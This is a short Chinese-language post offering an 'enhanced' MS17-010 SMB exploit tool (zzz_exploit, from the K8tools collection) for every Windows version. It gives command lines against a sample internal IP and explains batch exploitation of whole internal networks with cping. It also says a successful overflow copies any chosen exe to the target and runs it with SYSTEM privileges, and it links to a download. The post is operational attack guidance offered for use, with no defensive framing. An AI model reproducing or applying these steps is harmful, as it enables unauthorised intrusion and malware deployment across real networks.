[EXP]windows全版本SMB溢出工具增強版

工具:k8增強版zzz

編譯:python

漏洞:MS17-010

用法:

zzz_exploit.exe 192.11.22.82
zzz_exploit.exe 192.11.22.82 exe參數
zzz_exploit.exe 192.11.22.82 exe參數 管道名

如exe啓動參數爲  m.exe -Start 實戰命令爲 zzz_exploit.exe 192.11.22.82 -Start

內網批量

可結合cping批量溢出內網,將名稱改成smbcheck便可,但exe必須使用無參版。（其它工具也能夠，提供個IP參數便可）

由於cping只會傳IP進去,不會傳其它參數。使用前需將任意exe更名爲ma.dat

溢出成功會自動將exe傳入目標機器，並以system權限啓動exe程序。

 

連接: https://github.com/k8gege/K8tools/blob/master/k8zzz.rar